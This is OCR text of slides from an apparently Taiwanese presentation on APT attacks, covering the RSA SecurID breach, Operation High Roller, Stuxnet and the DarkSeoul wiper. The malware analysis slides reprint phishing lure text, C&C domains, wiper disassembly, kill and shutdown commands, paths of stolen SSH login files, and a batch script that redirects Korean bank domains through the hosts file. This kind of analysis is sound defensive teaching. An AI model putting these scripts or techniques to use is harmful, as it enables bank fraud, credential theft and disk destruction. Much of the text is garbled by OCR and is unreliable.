y BEUEEBERET  BER POS BEEAENEHAE
=i}

y @R EIK40E =

» 81% E Windows 4%

Infected Platform Percentage




10 Scariest Hacks

201119 Black Hat A1 Defcon BE+ AR MHMAR

1.

2.
3.
4.

10.

P9+ S7 1&Hl=8 - BERNES, A HRIREE,EN A S, BT
M2 (Die Hard 47?)

VolIP botnet &4 - BB EAE (How convenient!)
EBHHEIERE - EEAEHIERAE NRBEPIXARERE
%;g;.aﬂ’ﬂ_i/\ e BP etk - olfkFERR M AR RTT, REENZE P 1TEIERAN RN
e

AEZEHRRAAR - BBETHERBEGN, IT=HREZERZRHAUL
Subaru Outback demo)

FAREEA ST LE R - FIAR EAEARESEA, F
RlgEE R ERE S22 RB(AREEREML 7 ,XD)
ARBREZRER - JPURIRBEANIEHERREENRERE R
= OA REHNARE web server - TN 5| R GEEEZA
=5E 1)

A BSENEREHEIE - 24 OSPF routing 17 E, AUBRIEHAER
SAP 55%5 - SAP By NetWeaver E88 fmiE: B2 EE 0] 48 50 i&E Bl
e, N2Z] ERP 247

http://www.networkworld.com/slideshows/2011/081011-blackhat-defcon-hacks.html



%?E?Tn@iﬁ%(APT)
» ANEBRY - BAFLE!

H R E B 1R




APT WEF X

y AR TRZETFS srae
- Y I # M (spear phishing) (Eusmn,
- BREMMIEMREERT | /
- AP =y
» 3538 USB MEE MR RREERZET b
y B E TN INE (ow-and-slow)

Stuxnet Under the Microscope

» FRENFLAER (private key)
- e.g. infostealer.nimkey steals “Cert_*.p12” which
contalns private key.
*pl2, *.pfx = private key + digital certificate

http:/ /www.symantec.com/connect/blogs/stux-be-you



APT Z 1l : RSA hacked

» March, 2011
» BB

- FBEGGEHT R E -8B 8(Northrop-Grumman) & & &1
-5 ] (Lockhead-Martin) W E SH#E

» B1Z
> RSA SecurelD ffEg &R

» PEE




RSA hacked : social engineering

y AR T IZEF I
» BB E5E: webmaster@beyond.com
o SKHE A8 UG
» AX
- "l forward this file to you for review. Please open and view
it."
y MAE
- Excel(“2011 Recruitment plan”)A &k flash 14

) d
J‘,‘
) | 1
i ] ‘;‘la &, | Y 3 Fi
— e - = -4 R
\\\\\ Block egorize F "
Send v s
Opti
Fro L2011
To
Cc
Subject 2011 Re
] Message #2011 Recruitment plan.xis

I forward this file to you for review. Please open and view it.

I



xVideo/APT/Opening the email that was used to hack RSA - video.mp4
xVideo/APT/Opening the email that was used to hack RSA - video.mp4

RSA hacked : social engineering

» A FH59%5 (0-day)

- Adobe Flash Player ActionScript bytecode
verification failed

- CVE-2011-0609

» WFEEAERRMNIE - ElREAKRE(Poison vy
backdoor)

(L]



Malware

.Dropper
[Embeded
Flash]
Carrier
[Excel]

Qload

.Exploit [2nd—[Poison lvy

Flash] Trojan]

<system folder>\svc<random characters>. exe
%windir%\atctivexobj.exe
Create “MD ServicesB1” service

http://blogs.technet.com/b/mmpc/archive/2011/03/17/a-technical-analysis-on-the-cve-2011-0609-adobe-flash-player-

vulnerability.aspx




o0 {o] 58 BB 22 5 Y2

» B2 A BBk o] ZHUE = 6 IR £ 4%

» KERZEI[OE C&C £

» B2E W“%Uﬁﬁﬁé/\ S EEfFa B SecurelD g ER -
BARNINE A T

B7 ?ﬁB
» RO =

> EMC lost $66 million and REPUTATION!

Found 6 RRs in 0.27 seconds.

N
/N

(L]
=2
Ixk

Pt

download.mincesur.com. & 119.70.119.30

good.mincesur. com. A 119.70.119.30
hikl.wekby.com. A 1159.70.119.30
man.mincesur. col. A 115.70.1159.30
qwer.wekby.com. A 119.70.119.30

uiop.wekby.com. A 119.70.119.30

source:F-Secure



2012- Operation High Roller

7, 8008 E=0HRITEANE RS
McAfee A Guardian Analytics H
HiE:. SR RITEMRE

T

Al

B2 280 'T"f"“
e — o

Cc:

}ﬂz Ij] A 1§' it ;@ 6 O 52 %Eﬂ T}%’%% T% Subject: Change Your Online Password
- B/MEB L 7800 BInESE

’\

vV Vv VvV Vv

CI ie nt S ide AttaCk Create a new user password by following these steps:
o $5E _b 1. Log Into your online banking by our secure link for Expired Password and @
/l_,\ /L,\ T

Your temporary password is: eNel DRLm E6)

EES S
> Man-in-the-Browser IETIE |, i menve pomptentochnge your possucee
© E E}J $$ I-I]E This temporary password will expire in 24 hours

— / This message refers to your online banking user password has been expired

I E

e EH% AR~ B 3SR BTE@EEEE~
REME @ R~ ks AT =M - =E

N/ 7/
\

f’ HIN

(¢]

http:/ /www.mcafee.com/us/resources/reports/rp-operation-high-roller.pdf



e
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N

» Phishing email
» Contain malicious link

» Exploit server hosting blackhole exploit
kit

To:

Cc

» Attack browsers I e onne e
Dear User,

} I n S ta I I d OW n I O ad e r S This message refers to your onlingé banking user password has been expired
C W L word by following these

Createanew u word by following these steps:
L]
} D OW n O a e r I n S t a S a n 1. Log Into your online banking by our secure link for Expired Password and er|
Your temporary password is: eNelDKipmCEE)
ed to change your password

vill then be pro

trojans(Zeus/SpyEye) i

» Zeus/SpyEye contacts C&C, download
the specific web inject for the victim’s
bank

http:/ /www.mcafee.com/us/resources/reports/rp-operation-high-roller.pdf




5 IR

» Web inject (Man-in-the-Browser)
Inject iFrame tag and java script into web pages

s SEone MIREE R

Eﬁﬁ,ﬂgﬁﬁj
) Bypass ERFR0RE
- WEREESEABMiERE
- BV4S OTP digital token
- BRETEIR

> er%j.:.,\ﬂfEﬁ%Jﬂ: EEJEELE

y 3 FREEIRTR
0 CIient—based for —AixEEMR
- Server-based for B[REENE
- ERIRBR S (transaction poisoning)

http:/ /www.mcafee.com/us/resources/reports/rp-operation-high-roller.pdf



Defeat Two-factor Authentication

¢ International Bank

User login

mule accounts



R {58 £ 55

» FIREIREB R RNERENS(60sec for consumer, 12
hours for business account) - RIEXEEZLE

: Hﬁaﬁ’ﬁ’Eﬁfﬁﬁi%’ﬁ%ﬁiﬂ”(%%%ﬁa)
- —{BIIE S 88 E— —
- B R A B é“l‘J:|3F'<(50%~80%)
B EREUEEEN
- B EREWIENTR

A
» /? nD

- BNEH LN REERBRETE
- 7538 web injection BEREBERISEIFZAEERINEE
- 2538 web injection BBEREIZAR email FEINEE




Process of High Roller

Phishing email

—

Attack browser e Install downloader

Downloader installs
Spykye/Zeus

“User login”

If matched, download ——
web inject code

Web inject code captures
user information

v

server to perform
transaction

1st strategy(client-side)

Malware login to bank’s

2nd strategy(server-side)

i User gets “Please wait...”
Pass credentials to 5 g

fraudster’s server to display
perform transaction

http:/ /www.mcafee.com/us/resources/reports/rp-operation-high-roller.pdf



Stuxnet - Semi-Targeted Attack

» (Speculated)ZE=EF I © 5! [E]FH 25

» BHY
- JEEFEIZE G EEE

y H1R
- Siemens WinCC S7 SCADA %#:
o FPEAANIBZ4(Natanz);E4E ol T W

» PEEL
- FEAMEEE - EfEfREE
> JE Windows/Linux &%t

+ B3
4 ,%m7<

- 2010.09 EZ= M&F 30%
- 2010.11 Natanz L= 1E3E(F

M Russia

aaaaaaaaa

aaaaa

www.ted.com/talks/lang/zh-tw/ralph_langner_cracking_stuxnet_a_21st_century_cyberweapon.html
Stuxnet Under the Microscope



The Idea

The idea
Malware dropper (on Windows PCs) Payload (on controllers)

www.ted.com/talks/lang/zh-
tw/ralph_langner_cracking_stuxnet_a_21st_century_cyberweapon.html



Timeline of Stuxnet

» 2008/04/08 FEAZE 6000 S5V

» 2008/04/11 FAPFSF WinCC Step7 %%t hard-coded
ZAEB N (EARE AR AIE DB servers)

» 2008/07/01 ZIREE/ OVEE SERIFZ W IE(Stuxnet N
E—EENE NESEROEL 1410 Hz 5FEHE)

» 2008/11/17 WIinCC Step7 2% E3ETS2# INL 15
» 2008/11/20 Windows Explorer .LNK 5525(MS10-

046)% L (BARKARZE BB S REUE)

» 2009/01 HnF % EMWE Natanz BiE

WEETE

http://www.wired.com/threatlevel/2011/07/stuxnet-timeline/

=
=

5 ) RE

BN



Timeline of Stuxnet

» 2009/04 Windows Printer Spooler 532:(MS10-061)
(B ARARE R D ZHRERUSE)

» 2009/06/22 Stuxnet S5—XRIE - FEAEMATE M
0430 compiled - 12/M\F5&E R Natanz RUHE RS S

» 2009/07/07 Stuxnet 55 _RINEE . FLsE —(E4HA

» 2009/07 AEREEIEL Nantanz éﬁ)ﬁ_@ 2B
(Z1#&H WikiLeaks 18E8)

» 2009/11 BE/OVERFAHE NOAHENE - 1215

» 2009/11 IAEA SIS Nantaz 1583584 /00\1#(8692
8) - BERABRRREE/DEIEEA -

(T

|I|n

http://www.wired.com/threatlevel/2011/07/stuxnet-timeline/



Timeline of Stuxnet

» 2010/01 Stuxnet 5% RealTek(GnE) ZERVEREEL

~Signer information

stolen from ReallTek Semiconductor, based in Tawan. It's not

Mame: Realtek Semiconductor Cor - - - - -

I 5 known if the company cooperated willfully in issuing the ceriificate
E-mail [Not available or If its system was unknowingly compromised by Stuxnet
Signing time: Monday, January 25, 2010 6:45:14 PM developers and used surreptiiously to issue the certificate for their

Yiew Certificate

2010/05 Version 2 released - 1A U{E zero-day K Z&
2010/06 RealTek &ifi1/&75 B HA

2010/07 XA Jmicron(B)s=ZEERENFZ =

2010/08 Bushehr MIEZERA - EALBRRERBHNRTIZ
2010/11 AR ARENBE O AIZE - Natanz &5 248
ISR

» 2012/01/24 Stuxnet F85T5e R EFEHI H EA

v v vV VvV v

http://www.wired.com/threatlevel/2011/07/stuxnet-timeline/



Stuxnet Analysis
y ZIERE AZTF)

- AHEBEFHBHEIE (self-replicating)F )%

>S5 BRETH
- Spammed URLSs
- PDF
- MS Office documents
- USB
y EATF
o ZIEERFERE(zero-day exploit)
> MS10_046 .LNK vulnerability + USB

AT

Stuxnet

MS10-046 (0-day)
MS10-061 (0-day)
MS10-073 (0-day)
MS10 -092 (0-day)
CVE-2010-2772 (0-day)

MS08-067 (patched)

Win32/Stuxnet

o /\??HEQED%E%& (WlndOWS Prlnter Spooler) Stuxnet Under the Microscope




Stuxnet Analysis

» Bt 1SR
> 7% (packing)
> Anti-AV
o LIBARRIAEE
o RIS EIREURE
- BEINNZ@EAFE
y HEE
- AR EEE
o EBRfT
o [ F
o BXALETEN



Hard-coded Password in Siemens
SCADA

» "We will be publishing customer guidance
shortly, but it won't include advice to change
default settings as that could impact plant
operations,” Siemens spokesman Michael
Krampe

66441 : Siemens SIMATIC WinCC Default Password
Printer | http://osvdb.org/66441 | Email This | Edit Vulnerability

generously sponsered by

@ TENABLE

Network Secunt

ws This Week | Views All Time | Added to OSVDB | Last Modified | Modified (since 2008) | Percent Complete

32 times

58 over 2 years age | 2 months age

|Disclosure Date H Exploit Publish Date|
[ 2008-04-11 | 2008-04-11 |

SCADA, Stuxnet

By default, Siemens SIMATIC installs with a default passwerd. The 'WinCCConnect’ and 'WinCCAdmin' accounts have a password off PAUELGEE which is publicly known and documented.
This allows attackers to trivially access the program or system.

Location: Remote / Network Access

Attack Type: Authentication Management

Impact: Loss of Integrity

Solution: Change Default Setting

Exploit: Exploit Public

Disclosure: Yendor Verified, Uncoordinated Disclosure, Discovered in the Wild




Rootkit with “Fake” Digital Signature

» Bruce Schneier WTES K E

» Ten Risks of PKI: What You're not Being Told
about Public Key Infrastructure
> Risk #2: "Who is using my key?"

2%

General | Details | Certiication Path |

B
Certificate Information

This certificate is intended for the following purpose(s):

*Ensures software came From software publisher m 21x|

sFrotects software from alkeration after publication

General IDetaiIs | Certification Path |

e

vy _ )
Wh&a certification authority's skatemenk For details. Certificate Information
Issued to: I Mficron Technology Corp-l This certificate is intended for the following purpose(s): Eﬁ E

+Ensures software came from software pubksher
+Protects softw.are from alberation after publication |

Issued by: VeriSign Class 3 Code Signing 2009-2 CA

Yalid from 18.06,2009 tof26.07.2012

* Refer to the certification authority's statement for detals.

Issued to: | Realtek Semiconductor Corp I

Irsstall Certificate.. . I Issuer S

Issued by: “eriSign Class 3 Code Signing 2004 CA

¥alid from 15.03.2007 to|1Z2.06.2010

Install Certificate. .. | Issuer Statement

http://www.schneier.com/paper-pki-ft.txt
eset : Stuxnet Under the Microscope



http://en.wikipedia.org/wiki/Realtek
http://en.wikipedia.org/wiki/JMicron

2013/03/20 EiEEM(DarkSeoul)

o
gl ity t"
oUg gdAmiel it youE eIl
°18-°] WMetIc]. S MPTA US
LIEL O1g0) WEk S® ¥R MNET-ITI

source: nshc



2013/03/20 EEHM(DarkSeoul)

MEE LRAREREHNE

Q 32,000 BREELIEE - E—

M QIEfWY | 79 RIEASY

Ewjojx] > 209 | R

Q 3RPITEHIRRIENEIZEZ - ATMIR | s

| © os(AnERNEH)

RIEHR - WBIRITER - i

KEMR=E LT TE=EE T SINERESE
WnB«E%F T I6E °©

Q 1 XEE LRI RS MR B ARTS -

Q TR A BEE R e e ——————.
1T - RIBRASNEESNE - FERTHE
T s

ERIEYR ¢ iThome®2# » 20134-3H

source: Xecure Lab, iThome



Timeline and Correlation
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Malware

» 76 found in total
» Infection

> Phishing email

> Drive-by download
» Functions

o Wiper

> Dropper

- Downloader
> Trojan

- Defacement

DLL injection
» Signature

> PRINCIPES

- HASTATI

> PRINCPES

- HASTATI and PRINCPES

source:http:/ /www.f-secure.com/weblog/archives/00002531.html
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Malware Found in Dark Seoul

K09

K07
e823221609h37e99fbbce5b493a02f68

K04 {OthDown.exe/AmAgent.exe)
5fcdbe 1dace6b0599429d913850f0364

AAhn::_[ab Policy K02 (ApcRunCmd.exe) > wiper e -
gent|pasvc.exe 1
b & f0e045210¢3258dad91d7b6bad64e73 BEIEAYITR
Client (cliswc.exe)
Source | Publish Language | Size | File SHA 256
mRemote password KO3 (mb_join.exe) > dropper Kot 5™ 20130320 DiskWiper e 2NHE mﬁ%@gzﬁ%m*
™ SecureCRT passwaord 0a8032cd6b4a710b1771a080fa09fb87 Y02 20130320 | DiskWiper Nors 2418 || SZR00eEIDNS 1LTTG0NTINND
. _ injection K03 20130320 DiskWiper None 24kBl S10ERolIRacI N netisS
| Koa O"DOMMe 20130320  DiskWiper None B e
provide shutdown Lkill Ko5 20121019 Downloader None 24KB  cbb576c946995a2171deb6IE™
teal e
reboot failed ) Ko6 gui2 085U owater pos T b rrssmsprirasonsd
; Ko7Q 20130320 DiskWiper Komen| | 236KB | abeStKcCedTAO0E0MO
K01 (ApcRunCmd.exe/AgentBase.exe) et e s
» algexelplinkexe) € dbdbbdc36a78a8807ad9b15a562515c4 KOS g WOMT owader  Kown  TOE gpiperidicaseisesoteihi
N — dr:p " K09 h S 2013-03-20 Disk Wiper English 45 KB 75626629980 117 cdabach71b92"**
l K10 0130320 el Korean  417KB  7o43:57daaf1c5bdd8Tc5d 1aaba™
conime.exelscp.exe] 1€ K10 (vti-rescan.exe) UXecure Lab
e drgps 9263E40D9823AECFI388B64DE34EAESS source:Xecure Lab
I
upload
K05
~pri.tmp(*nix script) E4F66C3CD27B97649976F6FODAADS032
,."cl:l I K06
wipe/delete -
50E03200C3A0BECBF33B3788DACSCDA6 g
partition
fk;ur;lleflf Kog
Jete/ 2F9AF723E807FF44C2684E5D644EBE4D
[homef



xCase/201303_南韓_APT/malware_flow_v0.3.vsd
xCase/201303_南韓_APT/malware_flow_v0.3.vsd

Wiper

Execution of Malware
(ApcRunCmd.exe)

Checking the presence
of the file

(V3.log)

Process forced
termination
(Pasvc.exe, Clisvc.exe)

Checking Physical Disk

Execution of Malware
(AmAgent.exe)

Checking

local time
(after 20130320
14:00)

Process forced
termination
(Pasvec.exe, Clisve.exe)

Checlang OS version
MER Destroy

Checking Physical Disk

Checking Driver

MER Destroy

VER Destroy

Checking Driver

http://www.symantec.com/connect/blogs/different-wipers-identified-south-korean-cyber-attack

VER Destroy




Wiper

» JBPFR MBR with f5EF &

> PRINCPES
- HASTATI.
> NCPES

48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E
48415354 4154492E

48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354
48415354

4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E
4154492E

HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.

HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.
HASTATI.

eeplLoop:

» SRR

lea
push
call
novzx
novzx
imul
novzx
add
imul
push
add
call
cmp

push
push
push
push
push
push
call
push
call
push
call
push
call

o MITHF BN AR

- 2013-03-20(14:00~15:00)3&1F
(530c95eccdbd1416bf2655412
e3dddb)

’

CODE XREF: StartAddress+9D}j

eax, [esp+20h+SystemTime]

eax -

ebx ; GetLocalTime

1pSystemTime

esi, [esp+268h+SystemTime.uwMonth]
ecx, [esp+20h+SystemTime.wDay]

lesi, 100 ; Month * 100

edx, [esp+28h+SystemTime.wHour]

esi, ecx

esi, 100 ; Month * 10000 + Day * 100
60000 ; duMilliseconds

esi, edx

edi ; Sleep

esi, 32015 ; Month * 100080 + Day * 1080 + Hour h
short SleeplLoop

[§] ; 1pThreadld

8 ; duCreationFlags

[§] ; lpParameter

ebp ; lpStartaddress = Wiper_Main
(] ; duStackSize

0 ; lpThreadAttributes
ds:CreateThread

3600000 ; duMilliseconds

edi ; Sleep

3600000 ; duMilliseconds

edi ; Sleep

5} ; duExitCode

ds:ExitThread

http://www.symantec.com/connect/blogs/different-wipers-identified-south-korean-cyber-attack



Wiper KO1

= (k01)DarkSeoul_DB4BBDC36A73A8807ADIB15A562515C4(AgentBase exe) |

Address Ol 1z 3|45 6 7IE| 9 a|lb|c|d|e| | Dumng

000029c0 53 54 41 54 49 2e 00 5c 54 65 6d 70 5c Je 76 33 STATI..\Temp\~v3
000029d0 2e 6o 6f 67 00 42 3a 5c 00 5c 00 2e 2e 00 25 73 .log.B:\.\N....%s
000029e0 Za 2e Z2a 00 50 72 of &7 72 61 6d 20 46 69 ©6c 65 *.*.Program File
000029f0 73 00 50 72 of 67 72 61 e6d 44 61 74 61 00 25 73 s.ProgramData.$s
00002a00 25 73 00 25 €3 3a 5c 00 5¢ 5¢ 2e 5S¢ 25 63 3a 00 %s.%c:\. AN \BC:.
0000Zzal0o 2 : 68 79 73 6E 3 72 €9 Tof\\ . \PhysicalDriv
0000Z2a20 00 73 68 75 74 64 gf 77 be Z0 . shutdown
00002a30 2d 72 20 2d 74 20 30 00 53 65 53 88 75 74 64 Bf -r -t 0.SeShutdo
00002a40 77 Be 50 72 69 76 6% 6c 65 67 65 00 74 61 73 6b wnPrivilege.task
00002a50 €k 69 60 60 20 2f 46 20 2f 49 4d 20 70 61 73 76 kill /F /IM pasv
00002aB0 B3 2e 65 78 65 00 74 61 73 6b 6b 69 6C 6c 20 2f c.exe.taskkill /
00002a70 46 20 2f 49 4d 20 63 6c €9 73 76 63 2e 65 78 65 F /IM clisvc.exe

=



xRef/ref_Case/201303_南韓_APT/malware
xRef/ref_Case/201303_南韓_APT/malware

Steal Remote Login Passwords

» 5= remote access s EMEA] SSH private key
- mRemote : confCons.xml
- VanDyke : \Sessions\*.ini
- |P, port, username, password

» M A E MUK B2 RS E1E P HRIZ S

<Node

Username="root"
Protocol="55H"

S:"Protocol Name"=55H

S "Username” =root

Password=""
D:"Session Password Saved”=00000001
Hostname
S:"Hostname"=
Descr
S:"Password"=
Panel
Port D:"[SSH2] Port"=

Password



Tamper with hosts and registry

b7c6caddb869d8c64e34478223108c605c28c7b725f4d1f79e19064cffca74fa

RECHO OFF
REg add "HKEY_cURRENt_USER\SOFtWaRE\MICROSOF+\WINAOWS\CURRENtVERSION\INtERNEt SEttINgS" /v "DNScacHEtIMEQut" /t "REG_DWORD" /d "0" /F

@EcHO OFF
cO10R ¢
attRIb -R -a -S -H ¥WINAIR¥\SYStEM32\dRIVERS\Etc\HOStS

echo 103.14.114.156 WwiW . HaNABaNK . CoM WwW._KbStar.COm Obank .KbsTar . COm
Pib.WOOribank. com BANKINg. SHinHan. Com wwh. IbK. co. kr.
PANKiﬂQ:NQNgHXHPL¢PW MYbank.ibBk.co.kr > ¥WINAIR¥\SYStEM32\dRIVERS\Etc\HOStS
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